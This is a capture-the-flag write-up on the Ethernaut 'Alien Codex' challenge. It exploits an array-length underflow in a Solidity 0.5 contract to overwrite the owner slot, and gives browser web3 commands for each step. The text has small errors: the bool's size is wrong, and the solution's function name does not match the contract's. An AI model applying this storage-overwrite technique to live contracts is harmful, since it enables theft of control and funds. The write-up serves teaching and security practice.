The best way to explain this is via an exploit.
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
Background
Slot 0 will have owner from Ownable (contract AlienCodex is Ownable) which is 20 bytes
Next we have bool contact (8 bytes), by packing both of these will be in first 32 bytes (i.e Slot 0)
Next we have an array bytes32[] public codex.
How do we set owner?
Key Insight
function retract() public contacted {
codex.length--;
}
When you run this, this does 0- - , it causes underflow and sets the length of the array to the entire Contract Storage which is 2^256-1
Now this means any contract slot is now addressable through our array
Where is arr[0] or codex[0] stored?
| Storage Slot | Description |
|---|---|
| 0 | _owner (bytes 0–19), contact (byte 20) |
| 1 | codex.length (uint256), initialized to 0 |
keccak256(1) |
codex[0] |
keccak256(1) + 1 |
codex[1] |
| ... | ... |
Slot formula
slot_i = keecak256(1)+i
// we want slot 0, so the euation becomes
keccak256(1) + i ≡ 0 mod 2^256
i = 2^256 - keccak256(1)
Now we have i of the array and we have the function to set the owner
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
Solution using web3 in browser
// change flag so we can pass modifier
await contract.make_contact()
// do underflow
await contract.retract()
// calc keecak of 1
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))
// calculate i
i = BigInt(2 ** 256) - BigInt(p)
// make the address 32 bytes, add leading zeroes, remove 0x from the address
content = '0x' + '0'.repeat(24) + player.slice(2)
// call the revise method to set owner
await contract.revise(i, content)
// can check also before submitting
await contract.owner() === player
Note on overflow and underflow
uint256), meaning they can only represent values in the range: 0 ≤ x < 2^256